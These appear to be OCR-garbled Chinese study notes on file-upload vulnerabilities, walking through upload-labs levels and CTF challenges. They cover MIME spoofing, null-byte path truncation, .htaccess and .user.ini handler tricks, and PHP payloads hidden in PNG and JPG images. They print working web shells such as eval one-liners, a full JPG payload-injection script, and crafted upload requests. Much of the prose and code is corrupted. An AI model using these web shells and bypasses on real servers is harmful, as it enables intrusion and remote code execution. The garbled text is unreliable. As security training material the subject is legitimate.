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extArray = new Array(".gif", "jpg", ".png"};
function LimitaAttach{form, file)
{
bmit = false;
e.indexOf{"y") 1= -1}
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allowSubmit = true; Conrent-_Lef\glh: 143
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POST lupload/Pass-01/index.php HTTPM 1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows MNT 6.1, WinG4; x84, rv:64.0) Gecko/20100101 Firefox/@4.0
Accept: text/html, applicationfxhtml+xml applicationfxml;g=0.9 **q=0.8
Accept-Language: zh-CH zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-UJS;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/i127.0.0 Yupload/Pass-01/index.php

Content-Type: multipartiform-data; boundan=---------=-====mrsmcmmunan 262191186626708
Content-Length: 318

Connection: cloge

Upgrade-Insecure-Requests: 1

----------------------------- 252151186626708

Content-Disposition: form-data; name="upload_file"; filename="1 jpg
Content-Type: image/jpeq

=?php

phpinfo();
=

----------------------------- 252151186626708
Content-Disposition: form-data; name="submit"

----------------------------- 2521591186626708--
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5 MIME( (Multipurpose Internet Mail Extensions) £ Fi& HBCM MR BRE, e My B4 KA —F AR
FPRATHF BT B, [Zy RA T KRR, WRBLENEHEENARERITH. ZHATHEE-BZ P mEE
XS, UL R — S AR SO AT 5 REAMIMES B R B8 4 4,  RTTE 2B RS0, Bl & audio. ER
Images,f5 H & X AR FHK .

MIME it & £ ¥ il Content-Type

e Content-Typeis #l]

HTTPHMSORE T A5 BRI B 7EHeader s i _E— TS IMIMETYPE,  SRIRBISCHKRL, IXANBNER B A% SE i, R 553 vl LA
BB, PERXRRAZEN, FAHTTP headerd] AR i # Bl H A ANEB KBS, A E—ERi 2 LA —EX
RE.

HIWKIMMERR, filn:

HBSCARFRICIE S SCA .html,html text/htm
3E A txt text/plain

RTF 3. rif application/rif

GIF El7% .gif image/gif

JPEGH . jpg imageljpeg

(A1 B B A7 SR I R i BT Be A B s e L) 2 BOKE TR 7 AR A7 T SR B2 A% (img-nrkCfWo-1611500711946)
(C:\Users\77771\AppData\Roaming\Typora\typora-user-images\image-20210121231806868.png)]
o il R B

SR BRSO B R SS 28 m B R, AR 55 A8 AR IR AR SCAFIMIMESR B, 4R 5 P XA 3R ER 2 (9 SR 2L SR AN 22 FIMIME 26
RIBEATULES, RILECA LR BRSO G, RS IIMIME S AR 0 T

if (($_FILES['upload file']['type'] == 'image/jpeg') || ($_FILES['upload file']['type'] == 'image/png') || ($_FI
LES[ 'upload_file']['type'] == 'image/gif')){
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XA b — AR —1E, R save_path NE URL 17T, T7E PosT ##E B1H, T posT B KIBIE A url A anfes ,
PFrUEMMSE—T, B%, SHUFEe, REEBREETNE— TR, HaFRFHETU, XRBRATHEM + 5.

Request R
JRawl Params ‘Headers ‘Hex}/

Accept-Encoding: gzip, deflate

Referer: http://192.168.181.203:8014/upload-labs/Pass-12/index.php
rp=4=Mak 4 Cookie: pass=12; PHPSESSID=tcf53ItvOTuni3vsqjg3s431k6; security=high;
dmwh%5Fuser%5Fip=192%2E168%2E181%2E1;

N ASPSESSIONIDSCQDSSQC=DPOPMINCKLMBFENLHPPPPKBP
X-Forwarded-For: 1.1.1.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
boundary=---------------- - - 24872478911172

----------------------------- 24872478911172
Content-Disposition: form-data; name="save_path"

../upload/12.php+
----------------------------- 24872478911172
Content-Disposition: form-data; name="upload file"; filename="info,jpg" "’

Content-Type: application/octet-stream

SRJE T R Hex , REIN ML + H+7N bl B4 2b o

2d 44 69 73 70 6f 73 69 74 69 6f Ge 3a 20 66 6f -Disposition: fo
72 6d 2d 64 61 74 61 3b 20 Be 61 6d 65 3d 22 73 rm-data; name="s
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2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 34 38

HENT 2b N 00 , BEYIEIE] RAN, BEFER.

Content-Disposition: form-data; name="save path"

..fuploadf‘lE.phpEl
............ 24872478911172

Content-Disposition: form-data; name="upload file"; filename="info.jpg"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
----------------------------- 24872478911172
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<divid="msg">

Vi, TR

v = o SULBASILST UNIUN BASEL” ERKUK/DUUBLE UUEKYT  TUULS™  WAF BYPASS™ ENCUUINGT HIMLT
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:URL
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----------------------------- 24872478911172

Content-Disposition: form-data; name="upload file"; filename="info.jpg"
Content-Type: application/octet-stream
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————————————————————————————— 24872478911172
Content-Disposition: form-data; nhame="submit"
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.Jupload/12.php%( Request in browser >

. . Engagement tools > . .
Content-Disposition rame="info jpg"
Content-Type: appli Change request method

Change body encoding
<?php phpinfo(); ?5  Copy URL
””””””””””” Copy as curl command
Copy to file

e Paste from file
————————————————————— Save item

Save entire history
Paste URL as request

Add to site map

Convert selection * URL-decode

URL-encode as you type

Ctri+Shift+U

* | URL-encode key characters

BRER— R

————————————————————————————— 248/24(89111/2
Content-Disposition: form-data; name="save _path"

./upload/12.phpO

————————————————————————————— 24872478911172

Content-Disposition: form-data; name="upload file"; filename="infojpg"
Content-Type: application/octet-stream

<?php phpinfo(); 7>
————————————————————————————— 24872478911172
Content-Disposition: form-data; name="submit"
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false;
null;
D

$ext_arr = array( 5
$file_ext substr($_FILES[ 10 ],strrpos($_FILES[
if(in_array($file_ext,$ext_arr)){

$temp file = $ FILES[ 10 15

$img_path = $ POST[ . .rand(10, 99).date( . .$file_ext;

if(move_uploaded file($temp file,$img path)){

$is_upload = true;
} else {

$msg
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if (isset($_POST[ 1) A
if (file_exists(UPLOAD_PATH)) {
$deny _ext = array( 5

O

$file name = trim($_FILES[

$file name = deldot($file name);

$file _ext = strrchr($file_name, )

$file _ext = str_ireplace( , $file ext);
$file _ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {
$temp file = $ FILES[ 10 1;

$img_path = UPLOAD_PATH. .date( ).rand(1000,9999) .$file ext;
if (move_uploaded file($temp file, $img_path)) {

$is upload = true;
} else {
$msg

}
} else {

$msg

}
} else {

$msg = UPLOAD_PATH .

EATR ST htaccess i AT THM, EHEEEN K NEHTH—.
SR BINRBRUANEENESSE (BLE) KRRAA RIS S

J& 844 SR PHP BV AT //4E SR B AF P K JE 4 ECAphP, pHp, Php&&ig 2RI AL

PHP Version 5.2.17

System Windows NT CISP-PT 5.2 build 3790

Build Date Jan 6 2011 17:26:08

Configure escript /nologo configure js *—-enable-snapshot-build* —enable-debug-pack” "

ith-snapsh P \php-sdkisnap 5 * *--with-php-

build=d:\php-sdkisnap_5_2\: php_build” *--with-pdo-oei=DA\php-
sdk\oracle\instantclient10\sdk shared” *-with-oci3=D:\php-sdkioracle
i lient10\sdk.shared® *~-without-pi3web*

Server APL Apache 2.0 Handler

Virtual Directory |enabled

Support

Configuration File | CAWINDOWS

(php.ini) Path

Loaded Di\upload-labs-en\PHP\php.ini

Configuration File

Scan this dir for | (none)

additional .ini

files

additional .ini (none)

files parsed

oum Amt lannaiaas

@ O=ss Ostls DEEE (eess Cox GAF NS S &E  + TESHRE @ HackBar O] = %
Encryption ~ Encoding ~ SQL -~ XSS~  Other ~ HackBar v2
‘ @i Load URL http://192 16817 126/upload//1 PHP
g@ Split URL
») Execute 1 Pact dAnaia 1 Paforra 1 1lenr Anant B Manlkin
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if (file_exists(UPLOAD_PATH)) {
$deny_ext = array( ,

)

) ]

$file name = $ FILES[

$file name = deldot($file_name);

$file ext strrchr($file_name, );

$file ext strtolower($file ext);

$file ext str_ireplace( , $file ext);

if (!in_array($file ext, $deny ext)) {
$temp file = $ FILES[ 10 1;
$img_path = UPLOAD_PATH. .date( ).rand(1000,9999).$file_ext;

if (move_uploaded file($temp_file,$img_path)) {

$is upload = true;
} else {
$msg

1
J

} else {
$msg
)i
} else {
$msg UPLOAD_PATH .

RARRE], HRETRNG, FFEERERASE WA UK, ERBATS PR Kk B EOFBCA X AT vE

file zt* file ovt): / /I B 23
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if (file_exists(UPLOAD_PATH)) {
$deny_ext = array( 5

$file name = trim($_FILES[

$file name = deldot($file name);

$file ext strrchr($file_name, );

$file ext strtolower($file ext);

$file ext str_ireplace( 5 , $file ext);
$file_ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {
$temp file = $ FILES[ 10 1;
$img_path = UPLOAD_PATH. .$file name;
if (move_uploaded file($temp file, $img_path)) {
$is upload = true;
} else {
$msg

1
J

} else {

$msg

}
} else {
$msg = UPLOAD_PATH .

ERENMTEEREEE
Leid Ji¥k: fEburpsuitedULE, ¥ “1.PHP "X 4% % 71.PHP "
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windows & X SCfF R K RUEEAT B 3£ BR, B DART BAE SO R BN m et

$file_name deldot($file_name);
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if (file_exists(UPLOAD_PATH)) {
$deny_ext = array( 5
s s
s s s s

) ] ) ]

$file name = trim($_FILES[

$file name = deldot($file name);
$file ext strrchr($file_name, );
$file ext strtolower($file ext);
$file _ext = trim($file ext);

if (!in_array($file ext, $deny ext)) {
$temp file = $ FILES[ 10 1;
$img_path = UPLOAD_PATH. .date( ).rand(1000,9999).$file ext;

if (move_uploaded file($temp file, $img_path)) {

$is upload = true;
} else {

$msg

1
J

} else {
$msg

1
J

} else {
$msg = UPLOAD_PATH .

}

A EAE ST - $DATA FEAT AL HE
0x05 Ak 55 s A Ul g2 (ST AR )
0x01 XLk &

SO SRAR B R A W A LA B RSS AR HIHR, B A BT RSO AR, fFE, W RV AR, BRI EAE.

o 010 editordTF, IREIMRATSURE R B0k (BB Zpngtg R, AT Lhjpg%, pngBl A Ik =289 50
4E 47) , REWG I SCH L (B2 MIE — IR RIRITE) AR .
o WA LI B—ApngE F F010 editor 3T FF, ¥ —A)iEARDIHEAIER T HEH
o EW] LAZEDbp AL I i i BBl — A iE AR DS i &
—A)EE A Dir
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Offset o1 2 3 4 5 8 7 g 9 A B C D E F
poooooon FF DB FF EO OO0 10 43 4e 49 46 00 01 01 00 00 01 y@va  JEFIF

Value = FF D8 FF EO0 00 10 4A 46 49 46

B ot gif XA K FAT M E A S TT L5 LT EKE

Offset o1 Z 3 4 5 8 7 5 9 2 B C D E F
gooooooo 47 49 46 35 39 61 0A 00 O0A OO0 DS 00 00 00 00 0O GIF89a

Value = 47 49 46 38 39 61
BGeitpng SUAFLHAT M BB LA LS L HEAE

Offset o1 2 3 4 5 8 7 g 9 A B C D E F
goooooon 89 50 4E 47 0D 0A 1A 0 00 00 0O OD 49 458 44 52 | IPHG

Value =89 50 4E 47

WIEEXHLAIBUET M EE SR —aEARSRERT T

0x02 getimagesize()2K & 16 iF

e getimagesize()f&i/
XA R BT RE X B AR SO B 162E ] £ HEAT —AMEE, ERBCL AN FRERARFEE A ERE
o HMXFXMIERSE, RITAFTEE B DT
eg: upload-labs Pass 15 getimagesize($filename);
0x03 exif—imagetype ()
0x00 exif—imagetype ()

0x01 .user.ini

a4 & .user.ini?

X758 Mphp.iniifie 7. php.iniZphpERilFIECE X, HPEFETIELZphpHEE, XEREES, X4H0A8JL
FP: PHP_INI_SYSTEM . PHP_INI_PERDIR . PHP_INI_ALL . PHP_INI USER . FEMLTAIDAEFE: http:/php.net/manual/zhiini.list.php

KM A XH? BE BT IERE:



PHP_INI_* # M E X
3 &
PHP_INI_USER TR AR (5140 ini_set()) &% Windows {Ef#5E (B PHPS3#2) AR .userini fiZTE
PHP_INI_PERDIR  TJ1E php.ini, .htaccess @4 httpd.conf Pi%E
PHP_INI_SYSTEM  T[7E php.ini g% httpd.conf Hi%E
PHP_INI_ALL [T E

HemiRa T, X APHP_INI USERKIBECE T, 7] LAfEIN set)REFRE. EMERPEE, Hituserinhit®. XEH
BB T userini, WBARXRRMAMEH? BAE T AEEXENBET

BT E php.ini 2.4, PHP E&7EMSAHFTFHIE INISCH, WBHATH PHP Ui B # P 4E—EH L 2] web 12 B &
( $_SERVER[ 'DOCUMENT_ROOT'] Fr8EHI) o WIRMBEIATH PHP XH-TE web iR B F 240, W RBEH#IZE F.
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auto_append_file NULL PHP_INI_PERDIR PHP_INI_ALL.
auto_detect_line_endings "o" PHP_INI_ALL M PHP 4.3.0 £7H.
auto_globals_jit "1 PHP_INI_PERDIR M PHP 5.0.0 #£7H.

TE PHP <= 423 B2

auto_prepend_file NULL PHP_INI_PERDIR PHP_INI_ALL.

auto_append_file . auto_prepend file, BMHAEFEEHLER:

auto_prepend_file string

Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the
require() function, so include_path is used.

The special value none disables auto-prepending.
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e, FRFERESE, HEES . userinif:


http://php.net/manual/zh/configuration.file.per-user.php

01.gif R A& K.

Bk, FATAT LA Bh.user.ini B Fa ik BT B php X8R« B 30" 8 & B SO, XA Rl BLg — /AN IE®Ephp X, HarbLg—/iMa
4 —H)iEwebshell,

WR—TF, RO HIFEIS6.0+Fastcgi+PHP5.3Mnginx+fom+php5.3_ EliX. HFTFA . user.ini, Fl&webshellf101.gif, FMIEH
php 3 f4-echo.php:

e &R0 Y KR TR0 BHO
QFE - - 7| @ oxpx | o o X 6| THEO ®EE 2R0 NE® SX® B50 REO FO

HitiE o) IB T wwwroothtest iwewroothshell J & E ﬁ 'ﬁ' @ @ | * Eh rm | a c | Hh % | % 3 |
B~ [ A e B user inid (5 echo. phad|

9. user. ini 1 1B ECERE 1 <7nh

()01 gif 1 kB GIF [Eig P p" . R

mecho.php L KE PHF T & echo "I'm a php file™;

i s

| B D:\wwwroot\test\zwwrootishelll. user. ini - Hotepadi+

EtE HIEE #EE B #Hw EEW REQD EQ BTE #Hte #0u 2

JoOHE s cB|l«mkae|/nh+t:|BR8S1[FOIDNOEEE 4|

=l .user.inﬂl ‘ EDl.giﬂl
1 auto_prepend file=01.gif] il 1 <?php Beval($ REQUEST[shell]): ?»

Vi Iilecho.php BRI & 2 5 1]

= C' | [1 www.gov.tw/shell/echo.php?shell=phpinfo();
=R s O=2R

System Windows HT OWEHSERVERZ003 5.2 build 3790 (Windows Server 2003 Standard Edition
Service Pack 2) i586

Build Date hug 15 2013 11:24:59
Compiler MSYCD (Visual CH+ 20081
Architecture [x36

“
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Build Date Angz 21 2014 20:09:30

Server APT FEM/FastCGT
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Directory
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File
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Fath
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File
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Additional Fetef/phpS/ fomf conf. 4/10-pdo. ini, fetc/phpS/fomfconf. 4/20-curl. ini,
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parsed Fetef/phpS/ fomf conf. 4/20-my=ql. ini, fetc/phpS/fpmfconf. 4/20-mysqli. ini,
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BAERGE

1 FEM ke

Length (1<5E) AFT EERBRORIBRNKE, EEETET(-1)FS
Chunk Type Code (Bt 2 EI5) 4FH FiE R X RN BASCIFE(A-ZHa-2) Ak

Chunk Data (BiEHHIE) TEKE TFilfEEChunk Type CodefEEMMIE

CRC ({iFF 12 i) 4FT FRARENESTHBRENGEF RN

Fi 5o E

CRC(cyclic redundancy check )i H f#11E & % Chunk Type CodelifIChunk Dataisk # i1 %4 17 1 E B 2. CRCEMGHEEE X
FEISO 3309FMU-T V.42, HAE#Z T HKICRCH A E BT iHH

X32+x26+x23+x22+x16+x12+x11+x10+x8+X7 +X5+x4 +x2+x+1
53 b BUiE

IHDR

HFEPUHDR(header chunk): BEA&HPNGI P BGERENEARE L, FEENE N HERHIEPNCEIRER+,
H—/"PNGHuE i b R e — 30k k.

SO SRBIE R 13 WA, BRI T EBR.

R EH HR e
Width 4 bytes ERRE, UREDSM
Height 4 bytes ERSE, UREHND
BT

B3R EEm: 1, 2, 458

R A b REEM®: 1, 2, 4, 816
AEEER: 8516
BRE:
0: REE® 1, 2, 4, 8516
2: ABEER, 6316
ek 1bye 3: RIBEER, 1, 2, 488
4: FoilEFIEFRER®R, 8316
6: BolERENEREER, BH16
Compression method 1 byte EMmAELITTRERE)
Filter method 1 byte REERE
miTRfERE:
Interlace method 1 byte 0: FEMiTHEAE
1: Adam7{eaAdam M. CostelloF &M TBMITH ‘: 51;_% 5 j:
Vi SR
PLTE

W ERPLTESE SR MBI IR N TR 5 BR, HEREERLIN, RAERKNFERIINOTFHRES, RELT 2......,
BRABEEN T AR T HE KB a nEEREFRR4NRE, RERPRISGEATUBEE2M=16) , BN, XKIFH
PNGEI1& A&,

IDAT
B & H R HRIDAT(image data chunk): "EFFRESEPREIEAE, EEHR A AT B & 2N ESEINF K BGHE .
DATHHE RGEIEMEHEE S, B, WREES THRIDATIIEN, BA TR LR T 1A BPNGE&
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IEND

B4 45 "R B(3E IEND (image trailer chunk): ‘& FRARICPNG X R E BB R O R4, I H A0 JE A TR B EB
MERNMFAMEPNGI A, BAT2RI, XHHMGERI2NFRERK SN IZRXFER:

00 00 00 00 49 45 4E 44 AE 42 60 82

B A phpfiig

FEM BB T FA T SRBIVESEE ZRIE G png R 5.

5 NPLTEH 3 $t

php i JZ 7E X PLTE R B 56 IE # %, E Z234T 7 CRCAEL S T LA AT BAF chunk datalgifli Aphp RS, /% Ja E#T vH HAH B crefE 32
GG

A7 R R 5 R BB Kpng B 4 & 7R B png & I AT AR $E IHD R B i color type#t . 03 AR FI G ER.

1. 7EPLTEZIEIL S A phpfUHD.
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128h: 48 00 00 008 B7 50 4C 54 45 3C 3F 70 68 70 20 7@ ?php p
136h: 68 70 69 6E 66 6F 28 29 3B 3F 3E DF DF DF EB EB hpinfo();?>RBR&e
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2. HHEPLTEHEHKCRC
CRCHIA

import binascii
import re

png = open(r'2.png','rb")

@ = png.read()

png.close()

hexstr = binascii.b2a_hex(a)

""" PLTE crc '"'
data = '504c5445'+ re.findall('504c5445(.*?)49444154" ,hexstr)[0]
binascii.crc32(data[:-16].decode('hex"')) & Oxffffffff

526579b0

3.8 CRCE
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<?php

$p = array(@xa3,
oxbe,
0x22,
0x5a,
Ox67,
oxal,
0x60,
0x66,

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[yl;
$g = $p[$y+1];
$b = $p[Py+2];
$color = imagecolorallocate($img, $r,
imagesetpixel($img, round($y / 3), 0o,

"./l.png");

1751821 .png. EAEJE TR B AMIT I 40T &

c\<?=5_GET[0] (5_
POST[1]);?>XE. A
_6

Etjpg

X B R A B SRR 4 S I A jpg_payload.php.

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations ¢
dused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:

jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.
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1) After the second processing the injected data may become partially corrupted.

2) The jpg_payload.php script outputs "Something's wrong".

If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial i
mage.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

die('php-gd is not installed');

if(!isset($argv[i])) {
die('php jpg_payload.php <jpg_name.jpg>');

set_error_handler("custom error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DatalInputStream($argv[i]);
$outStream = file get contents($argv[1l]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != OxFFD8) {
die('Incorrect SOI marker');

while((!$dis->eof()) && ($dis->readByte() == OXFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === OxDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos)
$miniPayload .
str_repeat("\0",$nullbytePayloadSize)
substr($outStream, $startPos);
checkImage('_'.$argv[1l], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === OxFF) {
if($dis->readByte !== 0x00) {

break;

}

$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =




substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
9,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;

unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE)
global $correctImage;
file put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;

function custom error_handler($errno, $errstr, $errfile, $errline) {

global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];

class DataInputStream {
private $binData;
private $order;

private $size;

public function _ construct($filename, $order = false, $fromString = false) {

$this->binData = '';
$this->order = $order;
if(!$fromString) {

if(!file_exists($filename) || !is_file($filename))

die('File not exists ['.$filename.']");

$this->binData = file_get contents($filename);
} else {

$this->binData = $filename;




public function seek() {
return ($this->size - strlen($this->binData));

public function skip($skip) {
$this->binData = substr($this->binData, $skip);

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);

public function readShort() {

if(strlen($this->binData) < 2) {

die('End Of File');
¥
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {

$short = (ord($short[1]) << 8) + ord($short[0]);
} else {

$short = (ord($short[0]) << 8) + ord($short[1]);
¥

return $short;

public function eof() {
return !$this->binDatal|(strlen($this->binData) === 0);
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import binascii
import re
png = open(r'2.png','rb")

a = png.read()

png.close()
hexstr = binascii.b2a hex(a)
' PLTE crc '''
'504c5445'+ re.findall('504c5445(.*?)49444154" ,hexstr)[0]
binascii.crc32(data[:-16].decode('hex"')) & Oxffffffff

print hex(crc)

BATEREANCRCHEBR

(S B 3 A SR R i BT BB B Hs e L) 2 80K 8 R A T SR B2 B A% (img+3HIERjA-1611500711966)
(https://Lmg66.github.io/img/51.png)]

5 EAEBIET; #: CRC(cyclic redundancy check)isk H 18 & %t Chunk Type CodelsFChunk Dataisk H () £ k1T 11 5215 2
. A FRAII R B RS R TURIG. SFhttps://xz.aliyun.com/t/2657

2. B NIDATHHE
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<?php

$p array(@xa3, ox9f, ox67, oxf7, 0xoe,
oxbe, Ox2c, Ox8a, Oxdo, 0x89,
0x22, oxf6, oxd9, ox43, 0x5d,
Ox5a, 0x01, oxdc, Ox5a, 0x01,
0x67, Oxa5, Oxbe, Ox5f, 0x76,
Oxal, Ox3f, Ox7a, oxbf, 0x30,
ox60, 0x65, Ox7d, Ox52, 0x9d,
Ox66, Ox44, Ox50, 0x33);

$img imagecreatetruecolor(32, 32);

for ($y = @; $y < sizeof($p); $y 3) {
$r = $p[y];
$g = $plty+1];
$b = $p[$y+2];
$color imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), @, $color);
}
imagepng($img, );
?>
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The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations ¢

dused by PHP functions imagecopyresized() and imagecopyresampled().

It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script

2) Save the processed image and launch:

jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:

1) After the second processing the injected data may become partially corrupted.

2) The jpg_payload.php script outputs "Something's wrong".

If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial i
mage.

Sergey Bobrov @Black2Fan.

See also:

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?php phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

die('php-gd is not installed');
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if(lisset($argv[1])) {

die('php jpg_payload.php <jpg name.jpg>');

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {

$nullbytePayloadSize = $pad;

$dis = new DataInputStream($argv[1]);

$outStream = file_get contents($argv[1]);

$extraBytes = 0;

$correctImage = TRUE;

if($dis->readShort() != OxFFD8) {

die('Incorrect SOI marker');

while((!$dis->eof()) && ($dis->readByte() == OxFF)) {

$marker = $dis->readByte();

$size = $dis->readShort() - 2;

$dis->skip($size);

if($marker === OxDA) {

$startPos = $dis->seek();

$outStreamTmp =

substr($outStream, 0, $startPos) .

$miniPayload .

str_repeat("\0",$nullbytePayloadSize) .

substr($outStream, $startPos);

checkImage(' '.$argv[1l], $outStreamTmp, TRUE);




if($extraBytes !== 0) {

while((!$dis->eof())) {

if($dis->readByte() === OxFF) {

if($dis->readByte !== 0x00) {

break;

$stopPos = $dis->seek() - 2;

$imageStreamSize = $stopPos - $startPos;

$outStream =

substr($outStream, 0, $startPos) .

$miniPayload .

substr(

str_repeat("\0",$nullbytePayloadSize).

substr($outStream, $startPos, $imageStreamSize),

9,

$nullbytePayloadSize+$imageStreamSize-$extraBytes) .

substr($outStream, $stopPos);

} elseif($correctImage) {

$outStream = $outStreamTmp;

} else {

break;

if(checkImage('payload_'.$argv[1l], $outStream)) {

die('Success!');

} else {

break;




unlink('payload '.$argv[1]);

die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE)
global $correctImage;
file put contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);

return $correctImage;

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;

$correctImage = FALSE;

if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

if(isset($m[1])) {

$extraBytes = (int)$m[1];

class DataInputStream {
private $binData;
private $order;

private $size;




public function _ construct($filename, $order = false, $fromString = false) {

$this->binData = ''

$this->order = $order;

if(!$fromString) {

if(!file exists($filename) || !is_file($filename))

die('File not exists ['.$filename.']");

$this->binData = file_get contents($filename);

} else {

$this->binData $filename;

$this->size = strlen($this->binData);

public function seek() {

return ($this->size - strlen($this->binData));

public function skip($skip) {

$this->binData = substr($this->binData, $skip);

public function readByte() {

if($this->eof()) {

die('End Of File');

$byte = substr($this->binData, 0, 1);

$this->binData = substr($this->binData, 1);

return ord($byte);




public function readShort() {

if(strlen($this->binData) < 2) {

die('End Of File');

$short = substr($this->binData, @, 2);

$this->binData = substr($this->binData, 2);

if($this->order) {

$short (ord($short[1]) << 8) + ord($short[0]);

} else {

$short (ord($short[@]) << 8) + ord($short[1]);

return $short;

public function eof() {

return !$this->binData||(strlen($this->binData) === 0);
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<FilesMatch "1">

SetHandler application/x-httpd-php

</FilesMatch>

—AEAR SRR L B 2l

script language

@ $_POST

script
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eg: [GXYCTF2019]BabyUpload
fi# ik
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<FilesMatch "1">

SetHandler application/x-httpd-php
</FilesMatch>
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{"address":"127.0.0.1","code":"EC
ONNREFUSED","errno":"ECONN
REFUSED","port":80,"syscall":"co
nnect"}

FXT K . htaccess WA

SetHandler application/x-httpd-php
</FilesMatch>

i 42
AddType application/x-httpd-php .jpg

Be & PHP&- P —AESCHEE 4R . jpe,
eval($ PTST['c']);?>
eval($ GET['c']);?>

<?php @eval($ PTST['c']);?>

<?php @eval($ _GET['c']);?>
eval($ PTST["c"]);?>
eval($ GET["c"]);?>

<?php @eval($ PTST["c"]);?>

<?php @eval($ GET["c"]);?>

EH:, BEA2000kMEHAENEE BR—AE, EAL, EAERE404, EFH500/1.

123456789101112131415161718192021222324
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2. PHP passthru()s& %

EANFEATERT], WEIM4, F[ET, BENKERGRMER T lagiig, S8 HIXATERRE SR,
PHP1passthru()iX 4~ s £ o] DA E B AT S 4 &, FlvEpassthru” Is "), FIFEA HLIIRER R EUE A

exec(). system(). shell_exec()%.
273
X B 45— htaccess 3 H 1%

<FilesMatch "sj"> //sjBEMESHK, B LR XHERESR, Bils]
SetHandler application/x-httpd-php

</FilesMatch>
123
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<?php
ttpassthru("ls /var/www/html/"); //F—RRAEX—17, HRKflagHEME
passthru("cat /var/www/html/flag 229326633.php");//%H k2K T flagX bz 5, BEEEHAE

EAEspsCtF, BN AR BT I S0

I==:- © & challenge-705c8eb95924f1ee.sandbox.ctthub.com:10080/upload/sj

REBEER, FEEFERNG. OMGAID

# view-source:http://challenge-705c8eb95924f1ee.sandbox.ctfhub.com:10080/upload/sj

<?php // ctfhub{d0489c0acbbal91a443002d96ae73868c75d55b8}

B 3flag
0x02 AL & & tr Is

(SN B e A SR U YRt T B 7 S BE AL ) 2 BOKE B R AF T SR L% _E A% (img-NPyYR8t3-1611500711971)
(https:/fimages2015.cnblogs.com/blog/781551/201702/781551-20170221230310304-1595761877 .jpg)]

(—) NS5.x-6.xf# ¥ I

1 Fiis5.x-6 XA A I R 55 3%, K% Awindows server 2003, WuktLE 2, FRIBER—M Nvasp; ZENTIRIE M R gef#EdraspC
%, A Ref@ETaspxCiF o

H 3 f##r (6.0)

FE: www.xxx.com/xx.asp/xx.jpg

JRIE: RS ASER NS asp, .asaH F T HISCHER MR Biasp it .
A B b

R www.xxx.com/xx.asp;.jpg

BB RSB, SRHEI AN, Fitxx.asp;. jpglE# @i Rasp X T .
fRPT SRR
IS6.0 BRI\ AT $AT SCAFBR T aspif 73X =k

/test.asa
test.cer
Jtest.cdx



BRITR

1. HAT M E 784 T, ATBUEE A oS IEN, FHIE Eflxxasp; jpgdeBY IS4
2 PP ARBR LR, PRI P B SO %

(=) apachef®trieiFH

Apache fEHT ST BIREI 5 A B 72 FF 46 2 Bt A AT, 40 SR J5 48 48 AN BT VR 3 ST b Bt A 2 T . BB 4 test.php.owfrar
“owfFI".rar” iX ¥ f& 4% 2 apache A 7] iR il fi##fr ,apache 5t & f#Ewooyun.php.owf.rarf@ i Bphp -

WA
WWW.XXXX.XXX.com/test.php.php123
HARKE H &38R

